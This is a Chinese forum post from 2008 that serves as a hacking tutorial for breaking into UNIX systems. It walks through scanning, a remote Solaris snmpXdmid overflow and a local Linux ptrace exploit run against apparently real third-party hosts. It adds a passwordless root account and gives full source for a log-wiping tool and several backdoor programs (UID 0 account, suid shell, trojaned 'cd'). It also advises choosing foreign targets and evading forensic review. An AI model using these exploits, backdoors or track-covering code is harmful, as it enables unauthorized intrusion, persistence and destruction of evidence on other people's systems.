中国人寿刘静 發表於 2008-10-8 19:37:09

浅谈入侵UNIX

一:基本知识

1:常见UNIX版本: <br />

SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware... <br />

2:简单介绍几个 <br />

sunos&amp;solaris SUN本来想用solaris取代sunos,不过在用户的要求下,到目前为止,还是维持两者并存的政策; <br />

Freebsd是著名的BSD-UNIX的一的继承者,是UNIX众多分支中相当稳定的一个,很多ISP均使用运行Freebsd; <br />

Linux是一个面对PC机个人用户的自由廉价的UNIX产品(其硬件平台是Intel系列的CPU),实际上众多的网络管理员真正使用的是Linux。 <br />

3:UNIX操作系统的特点 <br />

(1)多用户和多任务;(2)可移植性;(3)树行结构的文件系统;(4)I/O重定向技术和管道技术;(5)丰富的实用程序;(6)每个用户都有电子邮件。 <br />

4:尤为突出的优点 <br />

(1)稳定可靠性高;(2)网络功能强;(3)开发性好;(4)强大的数据库支持功能;(5)伸缩性强。

二:入侵目的

1:学习UNIX,熟悉内部操作,整体配置... <br />

2:做跳板或以此捕捉更多UNIX肉鸡; <br />

3:越权得到某些正常请求下得不到的东西; <br />

4:攻击破坏或以此作为利器来破坏其他系统; <br />

5:更多......

三:入侵方法

1:寻找目标

工具:supperscan,流光,LANguard Network Scanner 2.0或者其他,凭个人喜好选用 <br />

supperscan:扫描23,79端口,注意含%,#,&amp;...主机,这些就是UNIX; <br />

LANguard..作简单设置,即可开始,判断对方操作系统功能乃同类软件中的精品,直观准确; <br />

流光:利用高级扫描,选telnet,PRC,POP3,FTP,Finger即可。 <br />

其他方法一样... <br />

(说明:很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现的信息,请注意识别)

2:开始入侵

(1)溢出(所有关于UNIX的溢出,都需要在一个UNIX/Linux的环境下进行编译) <br />

A:远程溢出 <br />

溢出?呵呵,太多了!随便说几个:freebsd远程溢出,bind 远程溢出,Sun Solaris 5.7/5.8 Sparc远程溢出,redhat6.xrpc status远程溢出...自己去一一了解吧,在这里我简单说两个例子: <br />

a1:考虑到很多朋友使用windows,所以大家可以参看我的兄弟---蓝骑士的大作《freebsd溢出完全图文版》(地址:http://www.itser.com/ez/.bbs/topic.cgi?forum=7&amp;topic=25&amp;show=),因为这个溢出程序有已经编译好了可以直接在windows下使用; <br />

a2:Sun Solaris 5.7 Sparc远程溢出 <br />

搜索...终于让我找到了一台sunos 5.7,上我一台sunos 5.8 <br />

telnet 66.*.146.48 -----&gt;&gt;这是我的! <br />

SunOS 5.8

login: ply <br />

Password: <br />

Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli <br />

Sun Microsystems Inc. SunOS 5.8 Generic February 2000 <br />

$ tmp/.sh -----&gt;&gt;当时溢出时做的处理! <br />

# ls <br />

bin data etc initrd mnt proc sbin usr <br />

boot dev home lib misc opt root tmp var <br />

xfn skip <br />

# cat &gt;snmp.c

....... -----&gt;&gt;太长了,省略...自己去找!

# gcc -o snmp snmp.c -----&gt;&gt;用gcc编译 <br />

snmp.c: In function `main': <br />

snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type <br />

snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type <br />

snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type <br />

# ls <br />

bin data etc initrd mnt proc sbin snmp usr <br />

boot dev home lib misc opt root snmp.c tmp var <br />

# ./snmp <br />

copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/ <br />

snmpXdmid for solaris 2.7 2.8 sparc

usage: ./s address [-p port] -v 7|8 <br />

#./snmp 216.*.45.63 -v 7 ----&gt;开始溢出!! <br />

DELIRIUM mar 2001 poland //lsd-pl.net/ <br />

snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000c8f68 timeout=30 port=928 connected! <br />

sent! <br />

SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80 <br />

id <br />

uid=0(root) gid=0(root) -----&gt;&gt;是root哦! <br />

echo &quot;ply::0:0::/:/bin/bash&quot; &gt;&gt; /etc/passwd -----&gt;&gt;加个用户先! <br />

echo &quot;ply::::::::&quot; &gt;&gt; /etc/shadow <br />

... -----&gt;&gt;还想干什么就继续吧!

B:本地溢出 <br />

本地溢出需要一个具有Shell权限的帐号,这个帐号可以通过pop3或ftp弱密码得到,照样举个例子: <br />

流光扫描...一会儿得到了一个ftp帐号(webmaster,webmaster),先telnet上去! <br />

telnet *.174.62.135

Red Hat Linux release 6.2 (Cartman) -----&gt;&gt;linux 6.2,容易搞定! <br />

Kernel 2.2.12-20kr2smp on an i686 <br />

login: webmaster <br />

Password: <br />

Last login: Wed Apr 24 02:21:58 from *.*.*.* <br />

You have mail. -----&gt;&gt;这家伙有新邮件,不过我没兴趣! <br />

$ -----&gt;&gt;气人的普通用户$ <br />

$cat &gt;ts.c <br />

... -----&gt;&gt;要学会利用网络资源,自己找,当是练习! <br />

$gcc -o ts ts.c -----&gt;&gt;还是用gcc编译。 <br />

In file included from /usr/include/asm/user.h:5, <br />

from /usr/include/linux/user.h:1, <br />

from ts.c:30: <br />

/usr/include/linux/ptrace.h:22: warning: `PTRACE_SYSCALL' redefined <br />

/usr/include/sys/ptrace.h:103: warning: this is the location of the previous def <br />

inition <br />

$ ls <br />

Desktop/ Mail/ ts* ts.c <br />

$ ./ts <br />

attached <br />

bash# su root <br />

# -----&gt;&gt;搞定,看见#我就高兴! <br />

# cat &gt;wipe.c -----&gt;&gt;扫脚印的,这个还是给大家吧,否则有人要扁我了! <br />

/*============================================================================= <br />

UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD <br />

The Shadow Penguin Security ( http://shadowpenguin.backsection.net ) <br />

Written by UNYUN ( unewn4th@usa.net ) <br />

============================================================================= <br />

*/

#include <br />

#include <br />

#include <br />

#include

#ifdef UTMAXTYPE <br />

#define UTMPX <br />

#include <br />

#endif <br />

#include <br />

#ifndef _PATH_LASTLOG <br />

#include <br />

#endif <br />

#include <br />

#include <br />

#include

#define SVR4_UTMP &quot;/var/adm/utmp&quot; <br />

#define SVR4_WTMP &quot;/var/adm/wtmp&quot; <br />

#define SVR4_LASTLOG &quot;/var/adm/lastlog&quot;

#define SUNOS4_UTMP &quot;/etc/utmp&quot; <br />

#define SUNOS4_WTMP &quot;/usr/adm/wtmp&quot; <br />

#define SUNOS4_LASTLOG &quot;/usr/adm/lastlog&quot;

#define BSD_UTMP &quot;/var/run/utmp&quot; <br />

#define BSD_WTMP &quot;/var/log/wtmp&quot; <br />

#define BSD_LASTLOG &quot;/var/log/lastlog&quot;

#define MAX_FPATH 512

int wipe_log(path,user,type) <br />

char *path,*user; <br />

int type; <br />

{ <br />

struct utmp utmp_ent; <br />

#ifdef UTMPX <br />

struct utmpx utmpx_ent; <br />

#endif <br />

void *ent; <br />

char *un; <br />

int sz,fd,c=0;

if (strlen(path)==0) return(1); <br />

if (type==0){ <br />

ent=(void *)&amp;utmp_ent; <br />

#ifdef UTMPX <br />

un=(char *)&amp;utmp_ent.ut_user; <br />

#else <br />

un=(char *)&amp;utmp_ent.ut_name; <br />

#endif <br />

sz=sizeof(struct utmp); <br />

}else{ <br />

#ifdef UTMPX <br />

ent=(void *)&amp;utmpx_ent; <br />

un=(char *)&amp;utmpx_ent.ut_user; <br />

sz=sizeof(struct utmpx); <br />

#endif <br />

} <br />

if ((fd=open(path,O_RDWR))&lt;=0) return(-1); <br />

while(read(fd,ent,sz)&gt;0) <br />

if (!strncmp(un,user,strlen(user))){ <br />

memset(ent,0,sz); <br />

lseek(fd,-sz,SEEK_CUR); <br />

write(fd,ent,sz); <br />

c; <br />

} <br />

close(fd); <br />

printf(&quot;Wiped %d entries of %s from %s.\n&quot;,c,user,path); <br />

return(0); <br />

}

int wipe_lastlog(path,user,type) <br />

char *path,*user; <br />

int type; <br />

{ <br />

struct passwd *p; <br />

struct lastlog ent; <br />

int fd; <br />

char buffer;

if (type==0) strcpy(buffer,path); <br />

else sprintf(buffer,&quot;%s/%s&quot;,path,user); <br />

memset(&amp;ent,0,sizeof(struct lastlog)); <br />

if ((p=getpwnam(user))==NULL) return(-1); <br />

if ((fd=open(buffer,O_RDWR))&lt;=0) return(-2); <br />

if (type==0) <br />

lseek(fd,p-&gt;CNSU_uid*sizeof(struct lastlog),SEEK_SET); <br />

write(fd,&amp;ent,sizeof(struct lastlog)); <br />

close(fd); <br />

printf(&quot;Wiped %s from %s.\n&quot;,user,path); <br />

return(0); <br />

}

main(argc,argv) <br />

int argc; <br />

char *argv[]; <br />

{ <br />

char f_utmp,f_utmpx; <br />

char f_wtmp,f_wtmpx; <br />

char f_lastlog; <br />

struct utsname utname; <br />

int lastlog_type;

if (argc!=2){ <br />

printf(&quot;Usage: %s Usernane\n&quot;,argv); <br />

exit(1); <br />

} <br />

if (getpwnam(argv)==NULL){ <br />

printf(&quot;Unknown user : %s\n&quot;,argv); <br />

exit(1); <br />

} <br />

uname(&amp;utname); <br />

strcpy(f_wtmpx,&quot;&quot;); strcpy(f_utmpx,&quot;&quot;); <br />

if (!strcmp(utname.sysname,&quot;SunOS&quot;)){ <br />

#ifdef UTMPX <br />

strcpy(f_utmp, SVR4_UTMP); <br />

strcpy(f_wtmp, SVR4_WTMP); <br />

strcpy(f_utmpx, UTMPX_FILE); <br />

strcpy(f_wtmpx, WTMPX_FILE); <br />

strcpy(f_lastlog, SVR4_LASTLOG); <br />

lastlog_type=0; <br />

#else <br />

strcpy(f_utmp, SUNOS4_UTMP); <br />

strcpy(f_wtmp, SUNOS4_WTMP); <br />

strcpy(f_lastlog, SUNOS4_LASTLOG); <br />

lastlog_type=0; <br />

#endif <br />

}else if (!strcmp(utname.sysname,&quot;Linux&quot;) <br />

|| !strcmp(utname.sysname,&quot;FreeBSD&quot;)){ <br />

strcpy(f_utmp, BSD_UTMP); <br />

strcpy(f_wtmp, BSD_WTMP); <br />

strcpy(f_lastlog, BSD_LASTLOG); <br />

}else if (!strcmp(utname.sysname,&quot;IRIX&quot;)){ <br />

#ifdef UTMPX <br />

strcpy(f_utmp, SVR4_UTMP); <br />

strcpy(f_wtmp, SVR4_WTMP); <br />

strcpy(f_utmpx, UTMPX_FILE); <br />

strcpy(f_wtmpx, WTMPX_FILE); <br />

strcpy(f_lastlog, SVR4_LASTLOG); <br />

lastlog_type=1; <br />

#else <br />

printf(&quot;Can not wipe. System Unknown.\n&quot;); <br />

#endif <br />

}else <br />

printf(&quot;Can not wipe. System Unknown.\n&quot;);

wipe_log(f_utmp, argv,0); <br />

wipe_log(f_utmpx,argv,1); <br />

wipe_log(f_wtmp, argv,0); <br />

wipe_log(f_wtmpx,argv,1); <br />

wipe_lastlog(f_lastlog,argv,lastlog_type); <br />

} <br />

^d

# gcc -o wipe wipe.c <br />

# ./wipe webmaster -----&gt;&gt;./wipe username就可以扫掉脚印了!

(2)扫描弱口令或暴力破解口令 <br />

A:弱口令使用于大范围搜捕,即利用少量常见多用密码去推测大量主机的telnet,ftp或pop3 <br />

B:暴力破解适用于针对某一主机,比如说利用finger获得了用户列表,即可采用字典攻击!或者说利用其他漏洞(如phf漏洞)获得了passwd,shadow文件,可以拿john或者乱刀解破,能否解破?看运气!

(3)利用特洛伊木马窃取口令(我没有这么做过,但这不失为一种方法)

(4)网络监听和数据截取(大家和我一起努力吧,努力学会利用这种方法:P)

(5)这里给大家几个简单的后门程序,复杂的自己去看! <br />

a1:口令文件 passwd 中增加一个 UID 为 0 的帐号 <br />

#include 

main() <br />

{ <br />

FILE *fd; <br />

fd=fopen(&quot;/etc/passwd&quot;,&quot;a &quot;); <br />

fprintf(fd,&quot;hax0r::0:0::/root:/bin/sh\n&quot;); <br />

} <br />

a2:在 /tmp 目录下放置 suid shell <br />

#include <br />

main() <br />

{ <br />

system(&quot;cp /bin/sh /tmp/fid&quot;); <br />

system(&quot;chown root.root /tmp/fid&quot;); <br />

system(&quot;chmod 4755 /tmp/fid&quot;); <br />

} <br />

a3:管理员偶然地输入cd..时向/etc/passwd文件添加一个UID 0 帐号 <br />

#include  <br />

#include 

main() <br />

{ <br />

FILE *fd; <br />

fd=fopen(&quot;/etc/passwd&quot;,&quot;a &quot;); <br />

fprintf(fd,&quot;hax0r::0:0::/root:/bin/sh\n&quot;); <br />

system(&quot;cd&quot;); <br />

} <br />

(6)攻击(特别是溢出)的方式很多,但方法大多大同小异,故不再赘叙!

四:补充说明

1:如用supperscan发现某ip段存在大量unix主机,马上转用弱口令破解;或发现某连续ip段全是同一个unix版本操作系统,则此ip段很有可能是某大公司,企业,高校或其他,一般防护甚严,不存在溢出漏洞,无需逐一尝试溢出,随便选两三个试试看行不行; <br />

2:到信息产业发达的国家去找,比如说美国,日本...不要找国内的,又少又危险! <br />

3:若发现telnet不上上次成功溢出的肉鸡,说明此肉鸡的ip是动态的,但ip改变不会太大,在临近ip再搜一遍即可!

五:强调说明

不要简单地认为你已经轻易地檫干净了你的入侵痕迹,很多有经验的管理员都把日志文件转到了其他主机上或作相关安全处理,一旦管理员发现了入侵,他会从如下方面来分析攻击者的入侵方式,你应该以此做出相应的应对措施: <br />

1:查找系统文件和系统培植文件的变化; <br />

2:查找数据文件的变化; <br />

3:查找入侵留下的数据文件和相关工具; <br />

4:检查日志文件 <br />

5:查找出网络监听的迹象 <br />

6:检查局域网上的其他计算机。

六:本文中存在的缺点错误还望容忍并多加批评与指正!本文欢迎转载,但请务必保持全文完整!

七:警告,请清醒地估量你的行为可能带来的后果!



<br />
頁: [1]
查看完整版本: 浅谈入侵UNIX